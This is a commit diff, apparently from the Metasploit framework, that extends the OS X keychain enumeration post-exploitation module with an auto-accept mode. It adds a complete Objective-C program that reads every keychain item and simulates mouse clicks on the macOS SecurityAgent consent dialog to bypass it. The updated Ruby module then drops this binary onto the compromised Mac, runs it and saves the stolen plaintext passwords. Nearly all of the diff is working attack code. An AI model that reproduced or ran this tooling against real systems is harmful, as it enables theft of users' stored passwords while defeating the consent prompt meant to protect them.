Add auto-accept to osx/enum_keychain.
parent
0c7d2af6bc
commit
1b320bae6a
|
@ -0,0 +1,2 @@
|
||||||
|
all:
|
||||||
|
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
Binary file not shown.
|
@ -0,0 +1,161 @@
|
||||||
|
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
||||||
|
|
||||||
|
#import <Cocoa/Cocoa.h>
|
||||||
|
#import <CoreFoundation/CoreFoundation.h>
|
||||||
|
#import <Security/Security.h>
|
||||||
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
#define TIMEOUT 3
|
||||||
|
|
||||||
|
void click(float x, float y) {
|
||||||
|
|
||||||
|
CGEventRef move1 = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventMouseMoved,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft // ignored
|
||||||
|
);
|
||||||
|
CGEventRef click1_down = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventLeftMouseDown,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft
|
||||||
|
);
|
||||||
|
CGEventRef click1_up = CGEventCreateMouseEvent(
|
||||||
|
NULL, kCGEventLeftMouseUp,
|
||||||
|
CGPointMake(x, y),
|
||||||
|
kCGMouseButtonLeft
|
||||||
|
);
|
||||||
|
|
||||||
|
CGEventPost(kCGHIDEventTap, move1);
|
||||||
|
CGEventPost(kCGHIDEventTap, click1_down);
|
||||||
|
CGEventPost(kCGHIDEventTap, click1_up);
|
||||||
|
|
||||||
|
// Release the events
|
||||||
|
CFRelease(move1);
|
||||||
|
CFRelease(click1_up);
|
||||||
|
CFRelease(click1_down);
|
||||||
|
}
|
||||||
|
|
||||||
|
void parse_windows(int offx, int offy) {
|
||||||
|
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
|
||||||
|
for (NSMutableDictionary* entry in (NSArray*)windowList)
|
||||||
|
{
|
||||||
|
CGRect rect;
|
||||||
|
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
|
||||||
|
if ([ownerName isEqualToString: @"SecurityAgent"]) {
|
||||||
|
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
|
||||||
|
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
|
||||||
|
float spotx = rect.origin.x + 385 + offx;
|
||||||
|
float spoty = rect.origin.y + rect.size.height - 25 + offy;
|
||||||
|
click(spotx, spoty);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
CFRelease(windowList);
|
||||||
|
}
|
||||||
|
|
||||||
|
void poll_ui() {
|
||||||
|
while(1) {
|
||||||
|
sleep(0.0001);
|
||||||
|
parse_windows(0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
id tQuery = NULL;
|
||||||
|
CFTypeRef result = NULL;
|
||||||
|
|
||||||
|
void prompt() {
|
||||||
|
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
|
||||||
|
}
|
||||||
|
|
||||||
|
void dump(NSArray *refs) {
|
||||||
|
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
|
||||||
|
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
|
||||||
|
error: NULL];
|
||||||
|
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
pthread_t thread_prompt, thread_click;
|
||||||
|
NSArray *secItemClasses = [NSArray arrayWithObjects:
|
||||||
|
(__bridge id)kSecClassGenericPassword,
|
||||||
|
(__bridge id)kSecClassInternetPassword,
|
||||||
|
nil];
|
||||||
|
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||||
|
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
|
||||||
|
nil];
|
||||||
|
NSMutableArray *refs = [NSMutableArray new];
|
||||||
|
for (id secItemClass in secItemClasses) {
|
||||||
|
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||||
|
|
||||||
|
CFTypeRef result1 = NULL;
|
||||||
|
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
|
||||||
|
NSArray *data = (__bridge NSArray*)result1;
|
||||||
|
if (data) {
|
||||||
|
for (NSDictionary *item in data) {
|
||||||
|
if (!item) continue;
|
||||||
|
NSMutableDictionary *newItem = [NSMutableDictionary new];
|
||||||
|
for (NSString* key in item) {
|
||||||
|
[newItem setObject:[[item objectForKey: key] description] forKey: key];
|
||||||
|
}
|
||||||
|
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
|
||||||
|
[refs addObject: newItem];
|
||||||
|
}
|
||||||
|
if (result1 != NULL) CFRelease(result1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableArray *all = [NSMutableArray new];
|
||||||
|
for (id ref in refs) {
|
||||||
|
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||||
|
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
|
||||||
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
|
||||||
|
nil];
|
||||||
|
for (id secItemClass in secItemClasses) {
|
||||||
|
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||||
|
|
||||||
|
result = NULL;
|
||||||
|
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
|
||||||
|
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
|
||||||
|
|
||||||
|
time_t end = time(NULL) + TIMEOUT;
|
||||||
|
int found = 0;
|
||||||
|
while(time(NULL) < end) {
|
||||||
|
if (result != NULL) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sleep(0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
pthread_cancel(thread_click);
|
||||||
|
pthread_cancel(thread_prompt);
|
||||||
|
|
||||||
|
[ref removeObjectForKey: @"v_Ref"];
|
||||||
|
|
||||||
|
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
|
||||||
|
// is locked
|
||||||
|
if (!found) {
|
||||||
|
parse_windows(-80, 0); // click cancel
|
||||||
|
dump(all); // get out now
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSString *pass = @"(null)";
|
||||||
|
if (result && [result bytes]) {
|
||||||
|
pass = [NSString stringWithUTF8String:[result bytes]];
|
||||||
|
if (!pass) pass = @"(null)";
|
||||||
|
} else {
|
||||||
|
pass = @"(null)";
|
||||||
|
}
|
||||||
|
[ref setObject:pass forKey: @"Private"];
|
||||||
|
[all addObject: ref];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dump(all);
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -7,24 +7,30 @@ require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::OSX::System
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'OS X Gather Keychain Enumeration',
|
'Name' => 'OS X Gather Keychain Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module presents a way to quickly go through the current user's keychains and
|
This module presents a way to quickly go through the current user's keychains and
|
||||||
collect data such as email accounts, servers, and other services. Please note:
|
collect data such as email accounts, servers, and other services. Please note:
|
||||||
when using the GETPASS option, the user will have to manually enter the password,
|
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
|
||||||
and then click 'allow' in order to collect each password.
|
alert flash briefly on their screen that gets dismissed by a programatically triggered click.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>'],
|
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
|
||||||
'Platform' => [ 'osx' ],
|
'Platform' => [ 'osx' ],
|
||||||
'SessionTypes' => [ 'shell' ]
|
'SessionTypes' => [ 'shell' ]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('GETPASS', [false, 'Collect passwords.', false])
|
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
|
||||||
|
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
|
||||||
|
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
|
||||||
|
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -40,27 +46,25 @@ class Metasploit3 < Msf::Post
|
||||||
user = cmd_exec("whoami").chomp
|
user = cmd_exec("whoami").chomp
|
||||||
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
|
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
|
||||||
|
|
||||||
i = 0
|
accounts = []
|
||||||
accounts = {}
|
|
||||||
|
|
||||||
out.split("\n").each do |line|
|
out.split("\n").each do |line|
|
||||||
unless line =~ /NULL/
|
unless line =~ /NULL/
|
||||||
case line
|
case line
|
||||||
when /\"acct\"/
|
when /\"acct\"/
|
||||||
i+=1
|
accounts << Hash.new
|
||||||
accounts[i]={}
|
accounts.last["acct"] = line.split('<blob>=')[1].split('"')[1]
|
||||||
accounts[i]["acct"] = line.split('<blob>=')[1].split('"')[1]
|
|
||||||
when /\"srvr\"/
|
when /\"srvr\"/
|
||||||
accounts[i]["srvr"] = line.split('<blob>=')[1].split('"')[1]
|
accounts.last["srvr"] = line.split('<blob>=')[1].split('"')[1]
|
||||||
when /\"svce\"/
|
when /\"svce\"/
|
||||||
accounts[i]["svce"] = line.split('<blob>=')[1].split('"')[1]
|
accounts.last["svce"] = line.split('<blob>=')[1].split('"')[1]
|
||||||
when /\"desc\"/
|
when /\"desc\"/
|
||||||
accounts[i]["desc"] = line.split('<blob>=')[1].split('"')[1]
|
accounts.last["desc"] = line.split('<blob>=')[1].split('"')[1]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return accounts
|
accounts
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_passwords(accounts)
|
def get_passwords(accounts)
|
||||||
|
@ -89,7 +93,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def save(data)
|
def save(data, kind='Keychain information')
|
||||||
l = store_loot('macosx.keychain.info',
|
l = store_loot('macosx.keychain.info',
|
||||||
'plain/text',
|
'plain/text',
|
||||||
session,
|
session,
|
||||||
|
@ -97,7 +101,7 @@ class Metasploit3 < Msf::Post
|
||||||
'keychain_info.txt',
|
'keychain_info.txt',
|
||||||
'Mac Keychain Account/Server/Service/Description')
|
'Mac Keychain Account/Server/Service/Description')
|
||||||
|
|
||||||
print_good("#{@peer} - Keychain information saved in #{l}")
|
print_good("#{@peer} - #{kind} saved in #{l}")
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -114,14 +118,43 @@ class Metasploit3 < Msf::Post
|
||||||
save(accounts)
|
save(accounts)
|
||||||
|
|
||||||
if datastore['GETPASS']
|
if datastore['GETPASS']
|
||||||
begin
|
if (datastore['GETPASS_AUTO_ACCEPT'])
|
||||||
passwords = get_passwords(accounts)
|
print_status("Writing auto-clicker to `#{clicker_file}'")
|
||||||
rescue
|
write_file(clicker_file, clicker_bin)
|
||||||
print_error("#{@peer} - Module timed out, no passwords found.")
|
register_file_for_cleanup(clicker_file)
|
||||||
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
|
|
||||||
|
print_status('Dumping keychain with auto-clicker...')
|
||||||
|
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
|
||||||
|
save(passwords, 'Plaintext passwords')
|
||||||
|
|
||||||
|
begin
|
||||||
|
count = JSON.parse(passwords).count
|
||||||
|
print_good("Successfully stole #{count} passwords")
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
print_error("Response was not valid JSON")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
begin
|
||||||
|
passwords = get_passwords(accounts)
|
||||||
|
rescue
|
||||||
|
print_error("#{@peer} - Module timed out, no passwords found.")
|
||||||
|
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
|
||||||
|
end
|
||||||
|
save(passwords)
|
||||||
end
|
end
|
||||||
save(passwords)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def clicker_file
|
||||||
|
@clicker_file ||=
|
||||||
|
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def clicker_bin
|
||||||
|
File.read(File.join(
|
||||||
|
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue